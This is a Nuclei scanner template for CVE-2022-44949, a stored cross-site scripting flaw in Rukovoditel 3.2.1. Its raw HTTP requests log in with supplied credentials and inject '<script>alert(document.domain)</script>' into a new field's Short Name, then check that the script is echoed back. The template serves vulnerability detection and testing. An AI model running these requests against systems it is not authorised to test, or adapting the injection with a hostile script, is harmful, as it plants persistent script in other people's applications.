nuclei-templates/http/cves/2022/CVE-2022-44949.yaml

130 lines
4.0 KiB
YAML

id: CVE-2022-44949
info:
name: Rukovoditel <= 3.2.1 - Cross Site Scripting
author: r3Y3r53
severity: medium
description: |
Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Add New Field function at /index.php?module=entities/fields&entities_id=24. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Short Name field.
reference:
- https://github.com/anhdq201/rukovoditel/issues/12
- http://rukovoditel.com/
- https://nvd.nist.gov/vuln/detail/CVE-2022-44949
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2022-44949
cwe-id: CWE-79
metadata:
max-request: 3
verified: true
tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated
http:
- raw:
- |
GET /index.php?module=users/login HTTP/1.1
Host: {{Hostname}}
- |
POST /index.php?module=users/login&action=login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
form_session_token={{nonce}}&username={{username}}&password={{password}}
- |
POST /index.php?module=entities/fields&action=save&token={{nonce}} HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfKx13B5QBU5Sccgf
------WebKitFormBoundaryfKx13B5QBU5Sccgf
Content-Disposition: form-data; name="form_session_token"
{{nonce}}
------WebKitFormBoundaryfKx13B5QBU5Sccgf
Content-Disposition: form-data; name="entities_id"
24
------WebKitFormBoundaryfKx13B5QBU5Sccgf
Content-Disposition: form-data; name="forms_tabs_id"
29
------WebKitFormBoundaryfKx13B5QBU5Sccgf
Content-Disposition: form-data; name="name"
test
------WebKitFormBoundaryfKx13B5QBU5Sccgf
Content-Disposition: form-data; name="short_name"
<script>alert(document.domain)</script>
------WebKitFormBoundaryfKx13B5QBU5Sccgf
Content-Disposition: form-data; name="type"
fieldtype_input
------WebKitFormBoundaryfKx13B5QBU5Sccgf
Content-Disposition: form-data; name="fields_configuration[width]"
input-small
------WebKitFormBoundaryfKx13B5QBU5Sccgf
Content-Disposition: form-data; name="fields_configuration[default_value]"
------WebKitFormBoundaryfKx13B5QBU5Sccgf
Content-Disposition: form-data; name="fields_configuration[is_unique]"
0
------WebKitFormBoundaryfKx13B5QBU5Sccgf
Content-Disposition: form-data; name="fields_configuration[unique_error_msg]"
------WebKitFormBoundaryfKx13B5QBU5Sccgf
Content-Disposition: form-data; name="required_message"
------WebKitFormBoundaryfKx13B5QBU5Sccgf
Content-Disposition: form-data; name="tooltip"
------WebKitFormBoundaryfKx13B5QBU5Sccgf
Content-Disposition: form-data; name="tooltip_item_page"
------WebKitFormBoundaryfKx13B5QBU5Sccgf
Content-Disposition: form-data; name="access_template"
------WebKitFormBoundaryfKx13B5QBU5Sccgf
Content-Disposition: form-data; name="access[5]"
yes
------WebKitFormBoundaryfKx13B5QBU5Sccgf
Content-Disposition: form-data; name="access[4]"
yes
------WebKitFormBoundaryfKx13B5QBU5Sccgf
Content-Disposition: form-data; name="notes"
------WebKitFormBoundaryfKx13B5QBU5Sccgf--
cookie-reuse: true
redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'status_code_3 == 200'
- 'contains(content_type_3, "text/html")'
- 'contains(body_3, "<script>alert(document.domain)</script>")'
- 'contains(body_3, "rukovoditel")'
condition: and
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'id="form_session_token" value="(.*)" type="hidden"'
internal: true